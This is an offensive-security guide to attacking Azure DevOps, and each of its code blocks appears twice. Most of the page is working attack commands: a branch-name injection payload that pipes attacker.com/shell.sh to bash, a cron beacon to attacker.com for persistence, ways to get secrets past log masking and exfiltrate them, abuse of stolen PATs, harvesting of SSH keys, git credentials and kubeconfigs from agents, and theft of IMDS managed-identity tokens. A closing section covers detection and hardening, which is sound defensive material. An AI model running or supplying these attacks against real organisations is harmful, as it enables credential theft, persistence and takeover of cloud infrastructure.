Azure DevOps Attacks
Azure DevOps (ADO) is deeply embedded in enterprise environments. Service connections, variable groups, and pipelines are high-value targets for lateral movement into Azure and beyond.
Enterprise Goldmine
ADO Attack Kill Chain
ADO Attack Surface
Azure RM, AWS, K8s, Docker, SSH — credentials to external infrastructure
Shared secrets, Key Vault links, connection strings across pipelines
Self-hosted runners on internal networks with cached credentials
Often overprivileged, long-lived, and leaked in repos or logs
Injection via PR branch names, commit messages, parameters
"Allow all pipelines" defaults, overly broad project access
Service Connection Abuse
The Crown Jewels
| Connection Type | What It Grants | Impact if Compromised |
|---|---|---|
| Azure Resource Manager | Service Principal with Azure RBAC role | Full Azure subscription access (often Contributor) |
| AWS | IAM access keys or OIDC role | AWS account access (EC2, S3, IAM) |
| Kubernetes | Kubeconfig / service account token | Cluster admin on production K8s |
| Docker Registry | Registry credentials (ACR, DockerHub) | Push malicious images, poison supply chain |
| SSH | SSH private key + host | Direct server access, lateral movement |
# ============================================================
# Enumerating Service Connections
# ============================================================
# Via REST API (requires Project Admin or Endpoint Reader)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq '.value[] | {name, type, url}'
# Via az devops CLI
az devops service-endpoint list --organization https://dev.azure.com/ORG --project PROJECT -o table
# Check which connections allow "all pipelines" (over-permissive)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/<ENDPOINT_ID>?api-version=7.0-preview" | jq
# ============================================================
# Exploiting a Service Connection from a Pipeline
# ============================================================
# If you can create or modify a pipeline, reference the connection:
# azure-pipelines.yml
trigger: none
pool:
vmImage: ubuntu-latest
steps:
- task: AzureCLI@2
inputs:
azureSubscription: 'Prod-ServiceConnection' # Target connection name
scriptType: bash
scriptLocation: inlineScript
inlineScript: |
echo "[+] Subscription info:"
az account show
echo "[+] Key Vaults:"
az keyvault list -o table
echo "[+] VMs:"
az vm list --query "[].{Name:name,IP:publicIps}" -o table
echo "[+] Storage accounts:"
az storage account list --query "[].{Name:name,Key:allowSharedKeyAccess}" -o table
# Exfiltrate the access token itself for use outside the pipeline
az account get-access-token --query accessToken -o tsv# ============================================================
# Enumerating Service Connections
# ============================================================
# Via REST API (requires Project Admin or Endpoint Reader)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq '.value[] | {name, type, url}'
# Via az devops CLI
az devops service-endpoint list --organization https://dev.azure.com/ORG --project PROJECT -o table
# Check which connections allow "all pipelines" (over-permissive)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/<ENDPOINT_ID>?api-version=7.0-preview" | jq
# ============================================================
# Exploiting a Service Connection from a Pipeline
# ============================================================
# If you can create or modify a pipeline, reference the connection:
# azure-pipelines.yml
trigger: none
pool:
vmImage: ubuntu-latest
steps:
- task: AzureCLI@2
inputs:
azureSubscription: 'Prod-ServiceConnection' # Target connection name
scriptType: bash
scriptLocation: inlineScript
inlineScript: |
echo "[+] Subscription info:"
az account show
echo "[+] Key Vaults:"
az keyvault list -o table
echo "[+] VMs:"
az vm list --query "[].{Name:name,IP:publicIps}" -o table
echo "[+] Storage accounts:"
az storage account list --query "[].{Name:name,Key:allowSharedKeyAccess}" -o table
# Exfiltrate the access token itself for use outside the pipeline
az account get-access-token --query accessToken -o tsvPipeline Injection
ADO pipelines use YAML similar to GitHub Actions. User-controlled values like branch names, commit
messages, and PR titles that flow into script: blocks create injection vectors.
# azure-pipelines.yml - VULNERABLE pattern
trigger:
- main
pool:
vmImage: ubuntu-latest
steps:
# VULNERABLE: User-controlled variables interpolated into script
- script: |
echo "Building PR: $(System.PullRequest.SourceBranch)"
echo "Commit message: $(Build.SourceVersionMessage)"
displayName: 'Build Info'
# ATTACK: Create a PR with branch name containing:
# ; curl https://attacker.com/shell.sh | bash #
# ADO will interpolate the variable into the script block,
# breaking out of the echo command and executing attacker code.
# SAFE ALTERNATIVE: Use environment variables instead of inline interpolation
- script: |
echo "Building PR: $BRANCH"
echo "Commit message: $MSG"
env:
BRANCH: $(System.PullRequest.SourceBranch)
MSG: $(Build.SourceVersionMessage)
displayName: 'Build Info (Safe)'# azure-pipelines.yml - VULNERABLE pattern
trigger:
- main
pool:
vmImage: ubuntu-latest
steps:
# VULNERABLE: User-controlled variables interpolated into script
- script: |
echo "Building PR: $(System.PullRequest.SourceBranch)"
echo "Commit message: $(Build.SourceVersionMessage)"
displayName: 'Build Info'
# ATTACK: Create a PR with branch name containing:
# ; curl https://attacker.com/shell.sh | bash #
# ADO will interpolate the variable into the script block,
# breaking out of the echo command and executing attacker code.
# SAFE ALTERNATIVE: Use environment variables instead of inline interpolation
- script: |
echo "Building PR: $BRANCH"
echo "Commit message: $MSG"
env:
BRANCH: $(System.PullRequest.SourceBranch)
MSG: $(Build.SourceVersionMessage)
displayName: 'Build Info (Safe)'Variable Group Extraction
# ============================================================
# Enumerating Variable Groups
# ============================================================
# List all variable groups in a project
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups?api-version=7.0" | jq '.value[] | {id, name, description}'
# Get a specific variable group (secret values will be masked as null)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups/GROUP_ID?api-version=7.0" | jq '.variables | to_entries[] | {key: .key, isSecret: .value.isSecret}'
# ============================================================
# Extracting Secrets via Pipeline
# ============================================================
# To read actual secret values, reference the group in a pipeline:
# azure-pipelines.yml
variables:
- group: 'Production-Secrets' # Links the variable group
steps:
- script: |
# ADO injects secrets as env vars — masked in logs but readable in the process
# Method 1: Base64 encode to bypass log masking
echo "$(DB_PASSWORD)" | base64
echo "$(API_KEY)" | base64
# Method 2: Character-by-character exfiltration
echo "$(DB_PASSWORD)" | sed 's/./&
/g'
# Method 3: Write to a file, upload as artifact
echo "$(DB_PASSWORD)" > /tmp/secrets.txt
echo "$(API_KEY)" >> /tmp/secrets.txt
displayName: 'Build Step'
# Key Vault linked variable groups are even more valuable
# They pull secrets from Azure Key Vault at runtime
# Compromising these gives you Key Vault access# ============================================================
# Enumerating Variable Groups
# ============================================================
# List all variable groups in a project
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups?api-version=7.0" | jq '.value[] | {id, name, description}'
# Get a specific variable group (secret values will be masked as null)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups/GROUP_ID?api-version=7.0" | jq '.variables | to_entries[] | {key: .key, isSecret: .value.isSecret}'
# ============================================================
# Extracting Secrets via Pipeline
# ============================================================
# To read actual secret values, reference the group in a pipeline:
# azure-pipelines.yml
variables:
- group: 'Production-Secrets' # Links the variable group
steps:
- script: |
# ADO injects secrets as env vars — masked in logs but readable in the process
# Method 1: Base64 encode to bypass log masking
echo "$(DB_PASSWORD)" | base64
echo "$(API_KEY)" | base64
# Method 2: Character-by-character exfiltration
echo "$(DB_PASSWORD)" | sed 's/./&
/g'
# Method 3: Write to a file, upload as artifact
echo "$(DB_PASSWORD)" > /tmp/secrets.txt
echo "$(API_KEY)" >> /tmp/secrets.txt
displayName: 'Build Step'
# Key Vault linked variable groups are even more valuable
# They pull secrets from Azure Key Vault at runtime
# Compromising these gives you Key Vault accessPAT Token Abuse
Personal Access Tokens (PATs) are often overprivileged, long-lived (up to 1 year), and found in Git configs, CI/CD logs, environment variables, and Slack messages. A single PAT can grant full org-wide access.
# ============================================================
# Validating a Found PAT
# ============================================================
# Check what the token can access (identity + scope)
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/connectionData" | jq '{authenticatedUser: .authenticatedUser.providerDisplayName}'
# List all projects the token has access to
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/projects?api-version=7.0" | jq '.value[].name'
# ============================================================
# Enumerate with a Valid PAT
# ============================================================
# List repos
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/git/repositories?api-version=7.0" | jq '.value[] | {name, webUrl}'
# Clone repos (use PAT as password when prompted)
git clone "https://ORG@dev.azure.com/ORG/PROJECT/_git/REPO"
# List pipelines
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines?api-version=7.0" | jq '.value[] | {id, name}'
# List service connections (if PAT has Endpoint Reader scope)
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq '.value[] | {name, type}'
# ============================================================
# Active Exploitation with PAT
# ============================================================
# Queue a pipeline run (inject attacker-controlled build)
curl -X POST -u :$PAT -H "Content-Type: application/json" -d '{"resources":{"repositories":{"self":{"refName":"refs/heads/main"}}}}' "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/PIPELINE_ID/runs?api-version=7.0"
# Push code to a repo (if PAT has Code Write scope)
# Modify pipeline YAML to exfiltrate secrets on next run
git push origin main
# Search code for more secrets
curl -s -X POST -u :$PAT -H "Content-Type: application/json" -d '{"searchText":"password OR secret OR connectionString","$top":25}' "https://almsearch.dev.azure.com/ORG/PROJECT/_apis/search/codesearchresults?api-version=7.0" | jq '.results[].fileName'# ============================================================
# Validating a Found PAT
# ============================================================
# Check what the token can access (identity + scope)
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/connectionData" | jq '{authenticatedUser: .authenticatedUser.providerDisplayName}'
# List all projects the token has access to
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/projects?api-version=7.0" | jq '.value[].name'
# ============================================================
# Enumerate with a Valid PAT
# ============================================================
# List repos
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/git/repositories?api-version=7.0" | jq '.value[] | {name, webUrl}'
# Clone repos (use PAT as password when prompted)
git clone "https://ORG@dev.azure.com/ORG/PROJECT/_git/REPO"
# List pipelines
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines?api-version=7.0" | jq '.value[] | {id, name}'
# List service connections (if PAT has Endpoint Reader scope)
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq '.value[] | {name, type}'
# ============================================================
# Active Exploitation with PAT
# ============================================================
# Queue a pipeline run (inject attacker-controlled build)
curl -X POST -u :$PAT -H "Content-Type: application/json" -d '{"resources":{"repositories":{"self":{"refName":"refs/heads/main"}}}}' "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/PIPELINE_ID/runs?api-version=7.0"
# Push code to a repo (if PAT has Code Write scope)
# Modify pipeline YAML to exfiltrate secrets on next run
git push origin main
# Search code for more secrets
curl -s -X POST -u :$PAT -H "Content-Type: application/json" -d '{"searchText":"password OR secret OR connectionString","$top":25}' "https://almsearch.dev.azure.com/ORG/PROJECT/_apis/search/codesearchresults?api-version=7.0" | jq '.results[].fileName'Self-Hosted Agent Attacks
Self-hosted agents run on customer infrastructure — often with access to internal networks that Microsoft-hosted agents can't reach. They frequently have cached credentials, SSH keys, and network access to production systems.
# ============================================================
# Credential Harvesting from Agent
# ============================================================
# Agent configuration and cached credentials
cat $AGENT_HOMEDIRECTORY/.credentials
cat $AGENT_HOMEDIRECTORY/.credentials_rsaparams
# Azure CLI cached tokens (if agent runs az commands)
cat ~/.azure/accessTokens.json 2>/dev/null
cat ~/.azure/azureProfile.json 2>/dev/null
# Docker configs (registry credentials)
cat ~/.docker/config.json 2>/dev/null
# SSH keys
ls -la ~/.ssh/
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/known_hosts # reveals internal infrastructure
# Git credentials
git config --global credential.helper
cat ~/.git-credentials 2>/dev/null
# Kube configs (if agent deploys to K8s)
cat ~/.kube/config 2>/dev/null
# ============================================================
# Internal Network Reconnaissance
# ============================================================
# Self-hosted agents are often inside the corporate network
ip addr show
cat /etc/resolv.conf # Internal DNS servers
cat /etc/hosts # Hardcoded hostnames
# Scan internal network from the agent
for i in $(seq 1 254); do
(ping -c 1 -W 1 10.0.0.$i &>/dev/null && echo "[+] 10.0.0.$i alive") &
done; wait
# Check for Azure IMDS (if agent is an Azure VM)
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq
# Steal Managed Identity token from the agent VM
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq '.access_token'
# ============================================================
# Persistence on Agent
# ============================================================
# Cron job (executes every minute)
(crontab -l 2>/dev/null; echo "* * * * * curl -s https://attacker.com/beacon.sh | bash") | crontab -
# Modify the agent's .env file to inject env vars into ALL future pipeline runs
echo "BACKDOOR_TOKEN=<attacker-c2-token>" >> $AGENT_HOMEDIRECTORY/.env# ============================================================
# Credential Harvesting from Agent
# ============================================================
# Agent configuration and cached credentials
cat $AGENT_HOMEDIRECTORY/.credentials
cat $AGENT_HOMEDIRECTORY/.credentials_rsaparams
# Azure CLI cached tokens (if agent runs az commands)
cat ~/.azure/accessTokens.json 2>/dev/null
cat ~/.azure/azureProfile.json 2>/dev/null
# Docker configs (registry credentials)
cat ~/.docker/config.json 2>/dev/null
# SSH keys
ls -la ~/.ssh/
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/known_hosts # reveals internal infrastructure
# Git credentials
git config --global credential.helper
cat ~/.git-credentials 2>/dev/null
# Kube configs (if agent deploys to K8s)
cat ~/.kube/config 2>/dev/null
# ============================================================
# Internal Network Reconnaissance
# ============================================================
# Self-hosted agents are often inside the corporate network
ip addr show
cat /etc/resolv.conf # Internal DNS servers
cat /etc/hosts # Hardcoded hostnames
# Scan internal network from the agent
for i in $(seq 1 254); do
(ping -c 1 -W 1 10.0.0.$i &>/dev/null && echo "[+] 10.0.0.$i alive") &
done; wait
# Check for Azure IMDS (if agent is an Azure VM)
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq
# Steal Managed Identity token from the agent VM
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq '.access_token'
# ============================================================
# Persistence on Agent
# ============================================================
# Cron job (executes every minute)
(crontab -l 2>/dev/null; echo "* * * * * curl -s https://attacker.com/beacon.sh | bash") | crontab -
# Modify the agent's .env file to inject env vars into ALL future pipeline runs
echo "BACKDOOR_TOKEN=<attacker-c2-token>" >> $AGENT_HOMEDIRECTORY/.envADO Enumeration Checklist
# Install Azure DevOps CLI extension
az extension add --name azure-devops
az devops configure --defaults organization=https://dev.azure.com/ORG
# --- Organization-level ---
az devops project list -o table
# --- Project-level ---
az repos list --project PROJECT -o table
az pipelines list --project PROJECT -o table
az devops service-endpoint list --project PROJECT -o table
az pipelines variable-group list --project PROJECT -o table
# --- Code search for secrets ---
az repos search "password" --project PROJECT
az repos search "connectionString" --project PROJECT
az repos search "AccountKey" --project PROJECT
az repos search "BEGIN RSA" --project PROJECT
# --- Pipeline inspection ---
az pipelines show --id PIPELINE_ID --project PROJECT -o yaml
# Look for: service connections referenced, variable groups linked,
# inline scripts with variable interpolation, self-hosted pool references
# --- Permissions audit ---
# Check who has Project Admin, Build Admin, Endpoint Admin roles
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/graph/groups?api-version=7.0-preview" | jq '.value[] | {displayName, principalName}'# Install Azure DevOps CLI extension
az extension add --name azure-devops
az devops configure --defaults organization=https://dev.azure.com/ORG
# --- Organization-level ---
az devops project list -o table
# --- Project-level ---
az repos list --project PROJECT -o table
az pipelines list --project PROJECT -o table
az devops service-endpoint list --project PROJECT -o table
az pipelines variable-group list --project PROJECT -o table
# --- Code search for secrets ---
az repos search "password" --project PROJECT
az repos search "connectionString" --project PROJECT
az repos search "AccountKey" --project PROJECT
az repos search "BEGIN RSA" --project PROJECT
# --- Pipeline inspection ---
az pipelines show --id PIPELINE_ID --project PROJECT -o yaml
# Look for: service connections referenced, variable groups linked,
# inline scripts with variable interpolation, self-hosted pool references
# --- Permissions audit ---
# Check who has Project Admin, Build Admin, Endpoint Admin roles
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/graph/groups?api-version=7.0-preview" | jq '.value[] | {displayName, principalName}'Detection & Hardening
Hardening Recommendations
- • Disable "Allow all pipelines" on every service connection and variable group
- • Require approvals and checks on production service connections
- • Use OIDC (Workload Identity Federation) instead of static secrets for Azure connections
- • Restrict PAT scopes to minimum required and set short expiry (≤90 days)
- • Enable branch protection — require PR reviews for pipeline YAML changes
- • Use pipeline decorators to inject security scanning into all builds
- • Isolate self-hosted agents in dedicated VNets with restricted outbound access
Detection Indicators
- • Audit Log: PAT creation, service connection access, pipeline modifications
- • New pipelines referencing production service connections
- • Pipeline runs from unusual branches or triggered by unfamiliar users
- • Agent machines making unexpected outbound HTTP requests
- • Variable group access from pipelines that don't normally use them
- • Code search API calls (often indicates recon phase)
- • Service connection usage outside normal deployment windows
# ============================================================
# Audit: Check for overpermissive service connections
# ============================================================
# List all service endpoints and check "allPipelines" authorization
for EP_ID in $(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq -r '.value[].id'); do
NAME=$(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints/$EP_ID?api-version=7.0" | jq -r '.name')
AUTH=$(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/$EP_ID?api-version=7.0-preview" | jq -r '.allPipelines.authorized')
echo "[$AUTH] $NAME"
done
# Any showing [true] = any pipeline in the project can use this connection
# ============================================================
# Hardening: Disable "Allow all pipelines" on a service connection
# ============================================================
curl -X PATCH -u :$PAT -H "Content-Type: application/json" -d '{"allPipelines":{"authorized":false}}' "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/$EP_ID?api-version=7.0-preview"
# ============================================================
# Hardening: Enforce OIDC (Workload Identity Federation)
# ============================================================
# Replace static SP credentials with federated identity:
# 1. Create federated credential on the Azure AD app registration
# 2. Update ADO service connection to use "Workload Identity Federation"
# 3. Delete the old client secret
# This eliminates stored secrets — ADO requests short-lived tokens via OIDC# ============================================================
# Audit: Check for overpermissive service connections
# ============================================================
# List all service endpoints and check "allPipelines" authorization
for EP_ID in $(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq -r '.value[].id'); do
NAME=$(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints/$EP_ID?api-version=7.0" | jq -r '.name')
AUTH=$(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/$EP_ID?api-version=7.0-preview" | jq -r '.allPipelines.authorized')
echo "[$AUTH] $NAME"
done
# Any showing [true] = any pipeline in the project can use this connection
# ============================================================
# Hardening: Disable "Allow all pipelines" on a service connection
# ============================================================
curl -X PATCH -u :$PAT -H "Content-Type: application/json" -d '{"allPipelines":{"authorized":false}}' "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/$EP_ID?api-version=7.0-preview"
# ============================================================
# Hardening: Enforce OIDC (Workload Identity Federation)
# ============================================================
# Replace static SP credentials with federated identity:
# 1. Create federated credential on the Azure AD app registration
# 2. Update ADO service connection to use "Workload Identity Federation"
# 3. Delete the old client secret
# This eliminates stored secrets — ADO requests short-lived tokens via OIDCTools
| Tool | Category | Best For |
|---|---|---|
| Nord Stream | Secret Extraction | Extract secrets from ADO, GitHub, GitLab pipelines |
| SCMKit | Exploitation | Source code management attack toolkit (C#) |
| ADOKit | Enumeration | Azure DevOps recon and exploitation (C#) — repos, pipelines, groups |
| az devops CLI | Enumeration | Official CLI — enumerate projects, repos, pipelines, endpoints |
| AzureHound | Attack Paths | Map ADO service principal → Azure attack paths via BloodHound |
Azure DevOps Attack Labs
Hands-on exercises for ADO pipeline exploitation techniques.
📋 Framework Alignment
OWASP CI/CD: CICD-SEC-2 (Inadequate Identity & Access Mgmt), CICD-SEC-4 (Poisoned Pipeline Execution), CICD-SEC-5 (Insufficient PBAC) | MITRE ATT&CK: T1199 (Trusted Relationship), T1078.004 (Cloud Accounts), T1059.001 (PowerShell) | CIS Controls: 6.1 (Access Control), 16.1 (Software Development Process)